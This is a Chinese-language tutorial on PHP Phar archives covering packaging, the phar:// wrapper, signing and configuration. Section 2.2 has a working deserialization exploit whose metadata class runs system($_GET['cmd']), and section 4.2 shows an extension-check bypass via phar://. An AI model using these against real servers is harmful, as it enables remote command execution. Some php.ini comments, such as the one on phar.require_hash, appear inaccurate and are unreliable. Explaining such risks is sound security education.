关于Phar的深入探索与发现
字数 1164 2025-08-06 18:07:47
Phar 的深入探索与发现
1. Phar 基础概念
Phar (PHP Archive) 是 PHP 的一种打包格式,类似于 Java 的 JAR 文件。它可以将多个 PHP 文件、资源文件等打包成一个单独的文件,便于分发和部署。
1.1 Phar 文件结构
一个标准的 Phar 文件包含三个部分:
- Stub - 可执行的 PHP 代码,作为 Phar 文件的入口点
- Manifest - 包含 Phar 文件的元数据
- File Contents - 实际的文件内容
2. Phar 的核心功能
2.1 作为压缩包使用
Phar 支持多种压缩格式:
- 不压缩 (Phar::NONE)
- Gzip 压缩 (Phar::GZ)
- Bzip2 压缩 (Phar::BZ2)
创建压缩 Phar 文件的示例代码:
$phar = new Phar('example.phar');
$phar->buildFromDirectory('/path/to/files');
$phar->compressFiles(Phar::GZ);
2.2 反序列化利用
Phar 文件在解析时会自动反序列化存储在 manifest 中的元数据,这可能导致反序列化漏洞:
// 创建包含恶意序列化数据的 Phar 文件
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
class Evil {
function __destruct() {
system($_GET['cmd']);
}
}
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();
触发反序列化的方式:
// 通过文件操作函数触发
file_exists('phar://exploit.phar/test.txt');
3. Phar 的高级功能
3.1 作为独立 PHP 服务运行
Phar 可以作为独立的 PHP 应用程序运行,只需在 stub 中添加可执行代码:
<?php
// 自定义 stub 示例
if (class_exists('Phar')) {
Phar::mapPhar();
include 'phar://' . __FILE__ . '/path/to/loader.php';
}
__HALT_COMPILER();
?>
3.2 Phar 流包装器
Phar 提供了 phar:// 流包装器,可以像操作普通文件系统一样操作 Phar 文件中的内容:
// 读取 Phar 中的文件
$content = file_get_contents('phar://example.phar/internal/path/file.txt');
// 遍历 Phar 中的文件
foreach (new RecursiveIteratorIterator(new Phar('example.phar')) as $file) {
echo $file . "\n";
}
3.3 Phar 签名验证
Phar 文件支持签名验证以确保完整性:
// 创建带签名的 Phar 文件
$phar = new Phar('signed.phar');
$phar['file.txt'] = 'contents';
$privateKey = openssl_pkey_new();
$pkey = '';
openssl_pkey_export($privateKey, $pkey);
$phar->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
验证签名:
$phar = new Phar('signed.phar');
var_dump($phar->getSignature());
4. Phar 的安全考虑
4.1 反序列化风险
由于 Phar 文件会自动反序列化元数据,因此需要注意:
- 不要反序列化不可信的 Phar 文件
- 使用
phar.readonly配置限制 Phar 写入
4.2 文件系统操作风险
phar:// 流包装器可能被用于绕过安全限制:
// 可能绕过文件扩展名检查
include('phar://uploaded/file.txt/actual.php');
5. Phar 实用技巧
5.1 创建自解压 Phar
$stub = <<<'EOT'
<?php
Phar::mapPhar();
include 'phar://' . __FILE__ . '/index.php';
__HALT_COMPILER();
EOT;
$phar = new Phar('self-extracting.phar');
$phar->setStub($stub);
$phar->buildFromDirectory('/path/to/app');
5.2 修改现有 Phar 文件
$phar = new Phar('existing.phar');
$phar->startBuffering();
$phar['newfile.txt'] = 'New content';
$phar->setStub($phar->createDefaultStub('new_index.php'));
$phar->stopBuffering();
5.3 Phar 与 Composer 结合
可以将 Composer 依赖打包到 Phar 中:
require 'vendor/autoload.php';
$phar = new Phar('app.phar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('src/')
),
'src/'
);
$phar->addFile('vendor/autoload.php');
$phar->setStub($phar->createDefaultStub('src/index.php'));
6. Phar 配置选项
php.ini 中与 Phar 相关的重要配置:
; 是否允许写入 Phar 文件
phar.readonly = On
; 是否允许执行 Phar 文件中的 PHP 代码
phar.require_hash = On
; 缓存 Phar 文件到内存中
phar.cache_list =
7. 性能优化
对于大型 Phar 文件:
- 使用压缩减少文件大小
- 考虑将不常用的资源放在外部
- 使用 Phar::mapPhar() 提高加载速度
8. 调试 Phar 文件
调试技巧:
// 检查 Phar 文件信息
print_r(Phar::running());
print_r(Phar::interceptFileFuncs());
// 列出 Phar 内容
$phar = new Phar('example.phar');
foreach ($phar as $file) {
echo $file->getFileName() . "\n";
}
9. 实际应用案例
9.1 打包 Web 应用
$phar = new Phar('webapp.phar');
$phar->buildFromDirectory('/path/to/webapp');
$phar->setStub($phar->createDefaultStub('public/index.php'));
// 部署时只需上传单个文件
9.2 命令行工具分发
$phar = new Phar('tool.phar');
$phar->buildFromDirectory('/path/to/cli-tool');
$phar->setStub('#!/usr/bin/env php' . PHP_EOL . $phar->createDefaultStub('bin/main.php'));
// 使 Phar 可执行
chmod('tool.phar', 0755);
10. 限制与注意事项
- Phar 文件不能包含某些特殊字符的文件名
- 某些 PHP 配置可能限制 Phar 功能
- 在 Windows 上可能需要额外配置
- 大型 Phar 文件可能影响性能
通过深入理解 Phar 的这些功能和特性,开发者可以更有效地利用 Phar 进行应用打包、部署和安全防护。